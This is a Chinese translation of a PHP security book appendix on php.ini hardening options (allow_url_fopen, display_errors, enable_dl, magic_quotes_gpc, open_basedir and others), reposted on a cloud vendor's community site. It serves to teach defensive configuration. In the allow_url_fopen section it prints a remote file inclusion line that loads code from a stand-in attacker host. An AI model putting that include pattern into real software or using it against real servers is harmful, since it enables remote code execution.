php 安全基礎 附錄 A. 配置選項

來源:互聯網
上載者:User
儘管本書的焦點是在於應用的安全性,但有一些配置選項是任何關心安全的開發人員必需熟悉的。PHP的配置會影響你所寫代碼的行為以及你使用的技巧,必要時你需要稍稍負責一下應用程式以外的東西。

  PHP的配置主要由一個名為php.ini的檔案所指定。該檔案包含很多配置選項,每一項都會對PHP產生非常特定的影響。如果該檔案不存在,或者該檔案中的某選項不存在,則會使用預設值。

  如果你不知道php.ini檔案所在的位置,你可以使用phpinfo( )來確定PHP中對該檔案路徑的定義:

 

  <?php

 

  phpinfo();

 

  ?>

 

  圖A-1 所示的第六行(設定檔(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒有檔案名稱),這就意味著PHP無法在所示路徑找到php.ini檔案。

  該檔案包含的自身說明非常好,因此你可以閱讀該檔案並選擇適合你的配置選項。而手冊更是詳細,所以在你需要某一選項的更多資訊時,我推薦訪問http://php.net/manual/ini.php

 

圖A-1. phpinfo( ) 函數可用於php.ini檔案的定位

 

 

 

A.1. allow_url_fopen

  正如第六章所示,allow_url_fopen選項允許你如同本地檔案一樣引用遠端資源:

 

<?php

 

  $contents = file_get_contents('http://example.org/xss.html');

 

  ?>

 

  在第五章中揭示了當它與include或require相結合時的危險性:

 

  <?php

 

  include 'http://evil.example.org/evil.inc';

 

  ?>

 

  我推薦關閉allow_url_fopen選項,除非你的應用需要它。

 

A.2. disable_functions

  disable_functions選項是非常有用的,它可以確保一些有潛在威脅的函數不能被使用。儘管可以建立規範去禁止使用這些函數,但在PHP配置中進行限制要比依賴於開發人員對規範的遵循要可靠得多。

  我建立對附錄B列出的函數進行檢查,看一下是否要對一些函數進行限制。

 

A.3. display_errors

  PHP的錯誤報表可以協助你發現你所寫代碼中的錯誤。當你開發應用時,把錯誤提示顯示出來是取得即時反饋的有效方法,同時也可以加快開發速度。

  在一個產品級的應用中,這一行為會成為一項安全風險。如果它顯示錯誤資訊,所有人就可以得知你的應用中的重要訊息。

  在產品中你需要關閉display_errors選項。

 

A.4. enable_dl

  enable_dl選項用於控制dl()函數是否生效,該函數允許在運行時載入PHP擴充。

  使用dl()函數可能導致攻擊者繞過open_basedir限制,因此除非有必要,你必須在你的應用中禁止它。

 

A.5. error_reporting

  很多安全性漏洞是由於使用了未初始化的變數或其它隨意的編程方法引起的。通過把PHP的error_reporting選項置為E_ALL 或 E_ALL | E_STRICT,PHP就會對上述行為進行提示。這些設定都為報告Notice層級的錯誤。

  我建議把error_reporting至少設定為E_ALL。(譯註:在開發中)

 

A.6. file_uploads

  file_uploads選項決定了是否允許上傳檔案。因此,如果你的應用不需要使用者上傳檔案,那麼關閉該選項就是最好的選擇。

  只是簡單地在PHP代碼中不對上傳檔案進行處理是不夠的,因為在執行你的代碼前,PHP就做了一些工作(如根據相關部據產生$_FILES數組)。

 

A.7. log_errors

  當log_errors設為有效時,PHP會向error_log配置選項指定的檔案中寫入所有出錯資訊。

  當display_errors設為無效時,將log_errors設為有效是很重要的;否則你將無法看到睛出錯資訊。

  我建議將log_errors設為有效並在error_log設定記錄檔所在位置。

 

A.8. magic_quotes_gpc

  magic_quotes_gpc是一個常用的選項,它目的是防止SQL注入。但出於很多原因,包括它轉義輸入的方式,證明了它是不完善的。

  它對$_GET, $_POST, 以及 $_COOKIE中的資料使用同樣的規則即addslashes( )函數進行處理。從而,它並沒有根據你的資料庫選用對應的轉義函數進行處理。

  基於兩個主要的原因,你需要把get_magic_quotes_gpc設為無效:

  首先,它會加大你的輸入過濾邏輯的複雜性,這是由於它在執行你的代碼前首先對資料進行了編輯。例如,你需要對輸入的姓名進行過濾,其邏輯是只允許字母、空格、連詞符以及單引號,當magic_quotes_gpc生效時,你必須適應形如O\'Reilly的姓名或者使用stripslashes( )嘗試將它恢複原形。這一不必要的複雜性(或者說不嚴謹的過濾規則)加大了發生錯誤的可能性,同時,你的輸入過濾機制中的缺陷必然會導致安全性漏洞。

  其次,它並沒有根據你的資料庫選用對應的轉義函數進行處理。這樣,由於它可以抵擋一些低層次或偶發的攻擊,掩蓋了它是一個糟糕的過濾或轉義機制這個事實,從而留下了一個安全性漏洞,使你的應用無法抵擋如針對字元集的攻擊等更複雜的攻擊手段。

 

A.9. memory_limit

  為防止寫得糟糕的指令碼佔用所有的可用記憶體,可以使用memory_limit選項對最大記憶體使用量量進行限制(以位元組方式或縮寫方式如8M指定)。

  儘管最佳的取值是與啟動並執行應用是相關的,我還是建議在大多情況下使用預設值8M。

  memory_limit選項只有在PHP指定了enable-memory-limit方式編譯時間才會生效。

A.10. open_basedir

open_basedir選項會限制PHP只能在它指定的目錄中開啟檔案。儘管它不能取代正確的輸入過濾,但該選項能減少利用檔案系統相關函數如include及require進行的攻擊。

  該選項的值會被當做首碼使用,因此當你想表示指定目錄時請小心不要漏了最後的斜杠:

  open_basedir = /path/to/

 

小提示

請確認enable_dl選項是關閉的,否則open_basedir的限制可能會被繞過。

 

A.11. register_globals

見第二章

A.12. safe_mode

見第八章

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.